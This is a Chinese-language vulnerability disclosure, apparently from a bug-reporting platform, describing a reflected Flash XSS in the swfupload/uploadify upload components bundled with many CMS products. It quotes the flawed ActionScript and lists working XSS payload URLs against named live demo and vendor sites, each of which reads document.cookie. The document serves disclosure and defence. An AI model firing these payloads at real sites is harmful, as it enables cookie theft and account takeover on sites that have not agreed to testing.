漏洞详情

披露状态:

2014-07-27: 细节已通知厂商并且等待厂商处理中
2014-07-31: 厂商已经确认,细节仅向厂商公开
2014-08-03: 细节向第三方安全合作伙伴开放
2014-09-24: 细节向核心白帽子及相关领域专家公开
2014-10-04: 细节向普通白帽子公开
2014-10-14: 细节向实习白帽子公开
2014-10-25: 细节向公众公开

简要描述:

实际上是很老一个问题,但经过我的测试,发现国内各大cms厂商,包括但不限于dedecms、phpcms、cmseasy、espcms、phpyun、thinksns、骑士人才系统、phpdisk、国微php168、phpok、kesioncms、pageadmin、xheditor、sdcms、emlog、dtcms等等都存着此安全漏洞(以上基本都有demo站或官网验证),不限于服务端语言(php、asp、aspx、jsp等)、不限操作系统及服务器中间件、不限浏览器种类及filter、能绕过大部分WAF,轻则越权操作,重则直接getshell,危害不可估量。其实你们已经发现了,漏洞类型是“XSS跨站脚本攻击”。
为了防止小伙伴们都来刷奖金、刷rank,我决定一起提交了,希望引起各大cms厂商的重视!
向前辈致敬:http://www.wooyun.org/bugs/wooyun-2010-064004 http://www.wooyun.org/bugs/wooyun-2010-064792

详细说明:

0x01 概述
相信很多站长对swfupload.swf、uploadify.swf这样的文件不陌生,做站的时候常常看到。实际上这是一个著名的利用swf异步上传的一个插件。
它可以很好解决异步上传、多文件异步上传的问题,很快这个插件就红遍了cms界,各大cms都使用这个swf来处理上传问题。
但是,这个swf却是一颗含有xss问题的定时炸弹!

this.movieName = root.loaderInfo.parameters.movieName;
this.flashReady_Callback = (("SWFUpload.instances["" + this.movieName) + ""].flashReady");
this.fileDialogStart_Callback = (("SWFUpload.instances["" + this.movieName) + ""].fileDialogStart");
this.fileQueued_Callback = (("SWFUpload.instances["" + this.movieName) + ""].fileQueued");
this.fileQueueError_Callback = (("SWFUpload.instances["" + this.movieName) + ""].fileQueueError");
this.fileDialogComplete_Callback = (("SWFUpload.instances["" + this.movieName) + ""].fileDialogComplete");
this.uploadStart_Callback = (("SWFUpload.instances["" + this.movieName) + ""].uploadStart");
this.uploadProgress_Callback = (("SWFUpload.instances["" + this.movieName) + ""].uploadProgress");
this.uploadError_Callback = (("SWFUpload.instances["" + this.movieName) + ""].uploadError");
this.uploadSuccess_Callback = (("SWFUpload.instances["" + this.movieName) + ""].uploadSuccess");
this.uploadComplete_Callback = (("SWFUpload.instances["" + this.movieName) + ""].uploadComplete");
this.debug_Callback = (("SWFUpload.instances["" + this.movieName) + ""].debug");
this.testExternalInterface_Callback = (("SWFUpload.instances["" + this.movieName) + ""].testExternalInterface");
this.cleanUp_Callback = (("SWFUpload.instances["" + this.movieName) + ""].cleanUp");


代码可见,从参数(root.loaderInfo.parameters.movieName)中获得movieName后直接赋值到一些callback响应函数中,这些函数是js中执行的内容。我们只需闭合前面的"],再闭合try..catch中大括号},即可执行自己的javascript代码,造成反射型XSS。
因为是flash xss,而且没有过多关键字,所以无视浏览器filter和大部分WAF(因为在前端运行),所以影响较大,轻则越权操作、产生XSS、csrf蠕虫,重则直接getshell(结合某些cms的后台getshell技巧)。
0x02 各大cms纷纷躺枪
由于中招的cms过多,我就不一一截图了,直接给出官网demo或网上实例做演示吧:

cmseasy demo站:
http://demo.cmseasy.cn/common/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
espcms demo站:
http://demo.ecisp.cn/adminsoft/js/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
phpcms v9 demo站:
http://v9.demo.phpcms.cn/statics/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
dedecms 织梦内容管理系统官网:
http://www.dedecms.com/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
phpyun人才系统demo站:
http://www.hr135.com/js/upload/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
thinksns demo站:
http://demo.thinksns.com/t3/addons/theme/stv1/_static/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
74cms某网络实例:
http://www.56jobw.com/admin/kindeditor/plugins/multiimage/images/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
phpdisk demo站之一:
http://demo.phpdisk.com/f/includes/js/upload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
国微php168 demo站:
http://sharp.php168.net/gov15/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
phpok demo站:
http://www.phpok.com/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
kesioncms demo站:
http://e.kesion.com/Plus/swfupload/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
pageadmin demo站:
http://demo.pageadmin.net/e/incs/fckeditor/editor/plugins/swfupload/js/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
xheditor demo我没找到路径,但下载的程序包中也存在swfupload.swf文件,经测试也可以触发xss。xheditor是网上应用很多的轻编辑器,所以会引起蝴蝶效应,导致更多cms出现问题:
http://xheditor/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
时代cms demo站:
http://demo.sdcms.cn/lib/swf/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
emlog 官方易梦主机:
http://host.emlog.net/include/lib/js/uploadify/uploadify.swf?movieName="]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

漏洞证明:

0x03 证明:
dedecms演示:

01.jpg


phpcms v9演示:

02.jpg


cmseasy 演示:

03.jpg


espcms 演示:

05.jpg


phpyun 演示:

06.jpg


多的我就不截图了。几乎都是在乌云注册的各大厂商,以及政府、企业、学校用的很多的CMS,包括不限于PHP、asp(kesioncms)、aspx(pageadmin、dtcms等)。
其中xheditor是编辑器,又被很多cms所引用,所以能够影响所有使用xheditor的用户,包括但不仅限于以下列表:

07.jpg

修复方案:

更新swf,进行过滤

标签: none

评论已关闭